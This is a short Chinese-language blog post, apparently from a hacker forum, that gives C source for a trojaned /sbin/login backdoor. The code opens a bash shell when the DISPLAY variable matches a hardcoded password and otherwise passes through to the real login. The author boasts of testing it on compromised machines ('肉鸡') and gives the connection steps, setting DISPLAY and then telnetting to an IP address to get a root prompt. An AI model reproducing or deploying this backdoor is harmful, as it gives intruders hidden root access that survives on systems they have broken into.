#include
#if !defined(PASSWORD)
#define PASSWORD "akin"
#endif
#if !defined(_PATH_LOGIN)
# define _PATH_LOGIN "/sbin/login"
#endif
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
if (!strcmp(display,PASSWORD)) {
system("/bin/bash");
exit(1);
}
execve(_PATH_LOGIN, argv, envp);
exit(1);
}
这个测试成攻,不过害我失去了一个肉鸡 ,搞错了,,和和,把文件 目录放错了了,不过在在别的地方测试成攻,连接方法:#expotr DISPLAY="akin" ; telnet 52.0.13.14 ; (我爱你一生一世,有这个IP吗?)接下来就是我们可爱的#了,爽噢!!
在这里,感谢一下bytes,太感谢了,和和,不知道他看不看得到!看了的回个话,和和,还有感谢他上次给我的scan,好爽噢,!!
原文:
阅读(1655) | 评论(0) | 转发(0) |